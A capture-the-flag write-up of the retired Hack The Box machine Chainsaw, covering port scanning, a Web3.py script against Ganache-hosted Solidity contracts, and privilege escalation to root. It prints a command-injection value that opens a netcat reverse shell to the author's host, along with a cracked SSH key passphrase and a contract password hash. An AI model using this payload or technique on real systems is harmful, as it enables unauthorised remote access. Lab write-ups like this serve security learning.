This post documents the complete walkthrough of Chainsaw, a retired vulnerable VM created by artikrh and absolutezero, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Chainsaw is retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.142 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-06-19 01:43:05 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 9810/tcp on 10.10.10.142 Discovered open port 21/tcp on 10.10.10.142 Discovered open port 22/tcp on 10.10.10.142

9810/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p21,22,9810 -A --reason -oN nmap.txt 10.10.10.142 ... PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json | -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol |_-rw-r--r-- 1 1001 1001 44 Jun 18 20:49 address.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.122 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA) | 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA) |_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519) 9810/tcp open unknown syn-ack ttl 63 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Wed, 19 Jun 2019 01:48:39 GMT | Connection: close | Request | GetRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Wed, 19 Jun 2019 01:48:32 GMT | Connection: close | Request | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Wed, 19 Jun 2019 01:48:33 GMT |_ Connection: close

Hmm. No luck with 9810/tcp . What the heck, since anonymous FTP is available, we’ll go with that first.

Anonymous FTP

There are three files in there. Let’s grab all of them.

WeaponizedPing.sol

pragma solidity ^0.4.24; contract WeaponizedPing { string store = "google.com"; function getDomain() public view returns (string) { return store; } function setDomain(string _value) public { store = _value; } }

Turns out that WeaponizedPing.sol is a smart contract written in Solidity. Ethereum huh…

Ganache CLI

Despite not knowing anything about Ethereum, I was able to tease out the fact that 9810/tcp was running Ganache CLI.

# printf "$(curl -s -H "Content-Type: application/json" -d '{}' http://10.10.10.142:9810 | jq . | sed '6!d' | cut -d':' -f2- | sed -e 's/ "//' -e 's/",//')

" Error: Method undefined not supported. at GethApiDouble.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/geth_api_double.js:66:16) at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18) at GethDefaults.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/gethdefaults.js:15:12) at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18) at SubscriptionSubprovider.FilterSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/filters.js:89:7) at SubscriptionSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/subscriptions.js:136:49) at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18) at DelayedBlockFilter.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/delayedblockfilter.js:31:3) at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18) at RequestFunnel.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/requestfunnel.js:32:12) at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18) at Web3ProviderEngine._handleAsync (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:103:3) at Timeout._onTimeout (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:87:12) at ontimeout (timers.js:498:11) at tryOnTimeout (timers.js:323:5) at Timer.listOnTimeout (timers.js:290:5)

According to its GitHub repository,

Ganache is your personal blockchain for Ethereum development.

After some reading and research, I got to know that ganache-cli , by default, automatically creates 10 accounts associated with 10 private keys. Each account has 100 ethers for testing purpose. It also exposes the JSON RPC API.

We need something to interact with the WeaponizedPing contract deployed in Ganache-CLI.

Enter Web3.py.

Towards that end, I wrote the following Python script.

weapon.py

#!/usr/bin/env python3 from web3 import Web3 , HTTPProvider import json , sys contract_data = json . loads ( open ( 'WeaponizedPing.json' ). read ()) contract_addr = open ( 'address.txt' ). read (). rstrip () w3 = Web3 ( HTTPProvider ( 'http://10.10.10.142:9810' )) account = w3 . eth . coinbase weapon = w3 . eth . contract ( address = contract_addr , abi = contract_data [ 'abi' ]) weapon . functions . setDomain ( sys . argv [ 1 ]). transact ({ "from" : account , "to" : contract_addr }) weapon . functions . getDomain (). call ()

To test it out, I set up tcpdump to listen on tun0 for any ICMP traffic. In a separate terminal, run ./weapon.py <my_htb_ip> .

Exactly one ping request is seen. I think I know what’s going on here. Let’s do it this way then.

# ./weapon.py '; nc 10.10.14.122 1234 -e /bin/bash'

Bam. A reverse shell appears!

Low-Privilege Shell

Now that we have a low-privilege shell, it’s time to find user.txt .

Getting user.txt

If I have to guess, I would say that user.txt is in bobby ’s home directory. Too bad I don’t have access to it.

During enumeration of administrator ’s account, I notice pub appears to be carrying all the SSH public keys belonging to bobby and the rest of the “users”. They were apparently generated by gen.py , given that their last-modified dates were identical.

From the code of gen.py , I should have bobby.key (SSH private key) but it’s nowhere to be found. It was at this moment, I saw .ipfs at administrator ’s home directory.

I did a simple recursive grep for bobby and see what I found.

Jackpot! One of the ipfs blocks is holding an email with bobby ’s private key as attachment.

Let’s extract the email and see what it says.

Here’s how bobby.key looks like.

Time to show John the Ripper some

The password is jackychain . Just as expected, user.txt is indeed in bobby ’s home directory.

Privilege Escalation

During enumeration of bobby ’s account, I noticed something interesting.

Getting root.txt

There’s a projects directory in bobby ’s home directory. It appears that there’s another Ganache-CLI instance and we need to call another contract function as well.

pragma solidity ^0.4.22; contract ChainsawClub { string username = 'nobody'; string password = '7b455ca1ffcb9f3828cfdde4a396139e'; bool approve = false; uint totalSupply = 1000; uint userBalance = 0; function getUsername() public view returns (string) { return username; } function setUsername(string _value) public { username = _value; } function getPassword() public view returns (string) { return password; } function setPassword(string _value) public { password = _value; } function getApprove() public view returns (bool) { return approve; } function setApprove(bool _value) public { approve = _value; } function getSupply() public view returns (uint) { return totalSupply; } function getBalance() public view returns (uint) { return userBalance; } function transfer(uint _value) public { if (_value > 0 && _value <= totalSupply) { totalSupply -= _value; userBalance += _value; } } function reset() public { username = ''; password = ''; userBalance = 0; totalSupply = 1000; approve = false; } }

Let’s use what we’ve learned from the previous contract and apply it.

Time to set a username and password I control, and see if I can bypass the ChainsawClub executable.

Suffice to say, I need to approve the user and supply some lubricants

I couldn’t believe my eyes when I saw the root prompt. Good advice because if you go look for root.txt , this is what you see.

Damn. What does it even mean? I’m going to put on my forensics hat and take things one step at a time. First of all, root.txt was last modified on Jan 23, 2019 at 0904hrs.

Let’s see what executables were accessed within that timestamp. We first create a last-accessed timestamp with touch .

touch -at "201901230904" /tmp/stamp

What’s bmap ? Googling for “bmap hide” brought me to this.